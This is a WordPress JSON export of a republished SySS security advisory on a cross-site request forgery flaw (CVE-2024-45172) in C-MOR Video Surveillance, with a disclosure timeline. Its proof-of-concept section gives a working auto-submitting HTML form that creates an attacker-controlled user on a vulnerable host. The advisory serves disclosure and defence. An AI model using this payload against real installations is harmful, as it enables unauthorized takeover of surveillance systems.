{"id":59514,"date":"2024-09-06T19:40:03","date_gmt":"2024-09-06T16:40:03","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/181377\/SYSS-2024-022.txt"},"modified":"2024-09-06T19:40:03","modified_gmt":"2024-09-06T16:40:03","slug":"c-mor-video-surveillance-5-2401-6-00pl01-cross-site-request-forgery","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/c-mor-video-surveillance-5-2401-6-00pl01-cross-site-request-forgery\/","title":{"rendered":"C-MOR Video Surveillance 5.2401 \/ 6.00PL01 Cross Site Request Forgery"},"content":{"rendered":"<p>Advisory ID: SYSS-2024-022<br \/>Product: C-MOR Video Surveillance<br \/>Manufacturer: za-internet GmbH<br \/>Affected Version(s): 5.2401, 6.00PL01<br \/>Tested Version(s): 5.2401, 6.00PL01<br \/>Vulnerability Type: Cross-Site Request Forgery (CWE-352)<br \/>Risk Level: Medium<br \/>Solution Status: Open<br \/>Manufacturer Notification: 2024-04-05<br \/>Solution Date: &#8211;<br \/>Public Disclosure: 2024-09-04<br \/>CVE Reference: CVE-2024-45172<br \/>Authors of Advisory: Chris Beiter, Frederik Beimgraben,<br \/>and Matthias Deeg<\/p>\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n<p>Overview:<\/p>\n<p>The software product C-MOR is an IP video surveillance system.<\/p>\n<p>The manufacturer describes the product as follows:<\/p>\n<p>&#8220;With C-MOR video surveillance, it is possible to check your<br \/>surveillance over network and the Internet. You can access the live<br \/>view as well as previous recordings from any PC or mobile device.<br \/>C-MOR is managed and controlled over the C-MOR web interface.<br \/>IP settings, camera recording setup, user rights and so on are set<br \/>over the web without the installation of any software on the<br \/>client.&#8221;[1]\n<p>Due to missing protection mechanisms, the C-MOR web interface is<br \/>vulnerable to cross-site request forgery (CSRF) attacks.<\/p>\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n<p>Vulnerability Details:<\/p>\n<p>The C-MOR web interface does not offer any protection against CSRF<br \/>attacks. These kinds of attacks force end users respectively their web<br \/>browsers to perform unwanted actions in a web application context in<br \/>which they are currently authenticated.<\/p>\n<p>CSRF attacks specifically target state-changing requests, for example in<br \/>order to enable or disable a feature, and not data theft, as an attacker<br \/>usually has no possibility to see the response of the forged request.<\/p>\n<p>In general, CSRF attacks are conducted with the help of the victim, for<br \/>example by a user visiting an attacker-controlled URL sent by e-mail in<br \/>their web browser. Often, CSRF attacks make use of cross-site scripting<br \/>attacks, but this is not mandatory.<\/p>\n<p>CSRF attacks can also be performed against a web application if a victim<br \/>is only visiting an attacker-controlled web server. In this case, the<br \/>attacker-controlled web server is used to generate a specially crafted<br \/>HTTP request in the context of the user&#8217;s web browser which is then sent<br \/>to the vulnerable target web application.<\/p>\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n<p>Proof of Concept (PoC):<\/p>\n<p>The following HTML file containing a web form generates a simple<br \/>crafted HTTP POST request that creates a new user:<\/p>\n<p>&lt;html&gt;<br \/>&lt;body onload=&#8221;document.forms[0].submit()&#8221;&gt;<br \/>&lt;form action=&#8221;https:\/\/&lt;HOST&gt;\/dosetpassword.pml&#8221; method=&#8221;POST&#8221;&gt;<br \/>&lt;input type=&#8221;hidden&#8221; name=&#8221;user&#8221; value=&#8221;attacker&#8221; \/&gt;<br \/>&lt;input type=&#8221;hidden&#8221; name=&#8221;user_fullname&#8221; value=&#8221;Attacker&#8221; \/&gt;<br \/>&lt;input type=&#8221;hidden&#8221; name=&#8221;pw1&#8243; value=&#8221;password&#8221; \/&gt;<br \/>&lt;input type=&#8221;hidden&#8221; name=&#8221;pw2&#8243; value=&#8221;password&#8221; \/&gt;<br \/>&lt;\/form&gt;<br \/>&lt;\/body&gt;<br \/>&lt;\/html&gt;<\/p>\n<p>When an authenticated C-MOR user with administrative privileges<br \/>visits a web server hosting this HTML file, a new attacker-controlled<br \/>user is created.<\/p>\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n<p>Solution:<\/p>\n<p>There is no fix for this security issue.<\/p>\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n<p>Disclosure Timeline:<\/p>\n<p>2024-04-05: Vulnerability reported to manufacturer<br \/>2024-04-05: Manufacturer acknowledges receipt of security advisories<br \/>2024-04-08: Exchange regarding security updates and disclosure timeline<br \/>2024-05-08: Further exchange concerning security updates and disclosure<br \/>timeline; public release of all security advisories<br \/>scheduled for release of C-MOR Video Surveillance version 6<br \/>2024-05-10: Release of C-MOR software version 5.30 with security updates<br \/>for some reported security issues<br \/>2024-07-19: E-mail to manufacturer concerning release date of C-MOR<br \/>Video Surveillance version 6; response with planned<br \/>release date of 2024-08-01<br \/>2024-07-30: E-mail from manufacturer with further information<br \/>concerning security fixes<br \/>2024-07-31: Release of C-MOR software version 6.00PL1<br \/>2024-09-04: Public release of security advisory<\/p>\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n<p>References:<\/p>\n[1] Product website for C-MOR Video Surveillance<br \/>https:\/\/www.c-mor.com\/<br \/>[2] SySS Security Advisory SYSS-2024-022<\/p>\n<p>https:\/\/www.syss.de\/fileadmin\/dokumente\/Publikationen\/Advisories\/SYSS-2024-022.txt<br \/>[3] SySS Responsible Disclosure Policy<br \/>https:\/\/www.syss.de\/en\/responsible-disclosure-policy\/<\/p>\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n<p>Credits:<\/p>\n<p>This security vulnerability was found by Chris Beiter and Frederik<br \/>Beimgraben.<\/p>\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n<p>Disclaimer:<\/p>\n<p>The information provided in this security advisory is provided &#8220;as is&#8221;<br \/>and without warranty of any kind. Details of this security advisory may<br \/>be updated in order to provide as accurate information as possible. The<br \/>latest version of this security advisory is available on the SySS Web<br \/>site.<\/p>\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n<p>Copyright:<\/p>\n<p>Creative Commons &#8211; Attribution (by) &#8211; Version 3.0<br \/>URL: http:\/\/creativecommons.org\/licenses\/by\/3.0\/deed.en<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Advisory ID: SYSS-2024-022Product: C-MOR Video SurveillanceManufacturer: za-internet GmbHAffected Version(s): 5.2401, 6.00PL01Tested Version(s): 5.2401, 6.00PL01Vulnerability Type: Cross-Site Request Forgery (CWE-352)Risk Level: MediumSolution Status: OpenManufacturer Notification: 2024-04-05Solution Date: &#8211;Public Disclosure: 2024-09-04CVE Reference: CVE-2024-45172Authors of Advisory: Chris Beiter, Frederik Beimgraben,and Matthias Deeg ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Overview: The software product C-MOR is an IP video surveillance system. The manufacturer describes the &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59514","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59514","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59514"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59514\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59514"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59514"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59514"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}